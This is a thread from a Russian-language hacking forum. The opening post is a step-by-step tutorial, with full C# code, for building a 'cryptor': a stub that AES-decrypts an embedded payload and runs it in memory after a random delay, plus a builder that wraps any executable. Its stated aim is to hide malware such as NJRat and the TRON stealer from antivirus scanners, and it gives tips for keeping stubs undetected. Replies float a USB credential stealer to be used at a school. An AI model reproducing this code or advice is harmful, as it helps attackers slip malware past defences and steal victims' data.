Криптор приложений на C#

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 3K
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Хало, господа

Как всем известно, билды различной малвари (особенно паблик) имеют достаточно большой скантайм детект. В этой статье мы сделаем простой криптор .net приложений на c#.

Кто виноват? Что делать?
Скантайм - сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen детекты. Рантайм - детект при запуске файла, своего рода поведенческая сигнатура. Наример, NJRat копирует себя в %TEMP%, создает свою копию в папке автозапуска и прочее. Эта модель поведения занесена в базы антивирусов.
Наша задача - убрать сигнатуры и изменить поведение файла; другими словами мы напишем оболочку для нашего файла.
Глаза боятся, а руки из жопы
Первым делом ознакомимся cо статьей небезызвестного 1ms0rry:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Что ж, такой крипт хоть и работает, но держит недолго. В нашем проекте мы будем использовать стабы.
Стаб - небольшая программа, "сердце" криптора, которая отвечает за запуск шифрованного файла, антиэмуляцию и прочие плюшки. Для начала напишем именно стаб. Структура стаба будет такова:
-Сам стаб
-Слово-разделитель
-Ключ расшифровки
-Слово-разделитель
-Шифрованные данные
Алгоритм работы стаба:
1) Ищем слово-разделитель в файле
2) Получаем ключ
3) Ищем слово-разделитель в файле
4) Получаем шифрованные даные
5) Расшифровываем даные (base64 -> byte[] -> Decrypt() -> byte[])
6) Загружаем и выполняем сборку
Нашим словом-разделителем будет "keeeek". Приступим к написанию кода. Открываем Visual Studio, создаем консольное приложение на .net 4.0.

Первым делом добавим функцию расшифровки:
C#:
public static byte[] Decrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
  new PasswordDeriveBytes(key,
   new byte[] {
    0x43,
    0x87,
    0x23,
    0x72
   });
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
  aes.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}
Переходим к Main. Ставим рандомную задержку (5-20 секунд):
C#:
Thread.Sleep(new Random(Environment.TickCount).Next(5000, 20000));
Получаем в строки необходимые данные:
C#:
string data = File.ReadAllText(Assembly.GetEntryAssembly().Location); // Считываем файл
string key = new Regex("keeeek.*keeeek").Matches(data)[0].Value.Replace("keeeek", ""); // Считываем ключ
string file = Regex.Split(data, "keeeek")[2]; // Считываем base64 строку
Далее загрузим расшифрованную сборку:
C#:
Assembly assembly = Assembly.Load(Decrypt(Convert.FromBase64String(file), key)); // Расшифровываем и загружаем сборку
assembly.EntryPoint.Invoke(null, new object[] { new string[] { } });
Учтите, что Mian может не принимать аргументов вообще! В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных данных - приложение Windows. Компилируем проект.

На этом со стабом покончили. Далее идет самая простая часть - написание самого криптора.
Криптор
Алгоритм работы криптора:
1) Выбираем файл для крипта
2) Шифруем файл и конвертируем его в Base64 строку
3) Записываем стаб, слово-разделитель, ключ, слово-разделитель, base64 строку
Создаем приложение WindowsForms, кидаем на него конпку:

Дважды кликаем по ней и пишем в методе код:
C#:
OpenFileDialog op = new OpenFileDialog(); // Окно для выбора файла
op.ShowDialog();
Далее проинициализируем переменные:
C#:
string filename = op.FileName; // Имя файла

byte[] stub = File.ReadAllBytes("stub.exe"); // Имя стаба - кладем в папку с критором

string key = Path.GetRandomFileName().Split('.')[0]; // Рандомный ключ

byte[] encrypted = Encrypt(File.ReadAllBytes(filename), key); // Шифрованный файл

byte[] base64 = Encoding.UTF8.GetBytes(Convert.ToBase64String(encrypted)); // Получаем шифрованный файл в Base64 строку
Теперь, когда все данные получены, просто запишем все в новый файл:
C#:
FileStream fs = new FileStream("output.exe", FileMode.CreateNew, FileAccess.Write);
fs.Write(stub, 0, stub.Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(Encoding.UTF8.GetBytes(key), 0, Encoding.UTF8.GetBytes(key).Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(base64, 0, base64.Length);
fs.Close();
Чуть не забыл, добавим функцию шифрования:
C#:
public static byte[] Encrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
  new PasswordDeriveBytes(key,
   new byte[] {
    0x43,
    0x87,
    0x23,
    0x72
   });
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
  aes.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}
Ну вот и все, криптор готов. Кладем стаб к криптору и начинаем тестить. Для примера закриптуем билд стиллера TRON Project.

Как чистить стабы?
1) Изменять ключевое слово
2) Изменять название переменных, их длину, добавлять мусорный код
3) Накрыть стаб каким либо обфускатором
4) Добавить иконку, изменить информацию о файле и тп (ResourceHaсker в помощь)
Ну и конечно же изменять алгоритм работы стаба. После добавления в стаб мусорного кода, информации из другого файла и обфускации стаба сверху получился следующий детект:

Я думаю всем понятно, что сканить стабы/криптованные билды на вирустотале и аналогах не нужно На этом все!

Исходники:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Оригинал -
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Discord - 蝶UndetectedButterFly1337.pw#0187
vk -
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

telegram - @UndetectedButterFly
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Давай гайд по взлому пентагона
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
не, меня потом на бутылку за это посадят, мб будет гайд по флешке со стиллером, тип вставил флешку, оно стильнуло все, вытащил и гуляй себе
Не плохая задумка, при этом надо чтоб антивирусы не детектили. Так что, надеюсь, ты сделаешь это.
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Не плохая задумка, при этом надо чтоб антивирусы не детектили. Так что, надеюсь, ты сделаешь это.
Про антивирусы хз, но при возможности, хотя опять же простой криптор, допустим тебе надо в школу принести такое, тип в шкилах обычно говно антивирусы, так что да, посмотрим по обстановке
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя